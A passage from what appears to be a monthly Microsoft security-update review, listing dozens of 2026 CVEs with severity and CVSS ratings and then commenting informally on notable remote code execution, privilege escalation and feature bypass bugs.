CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the 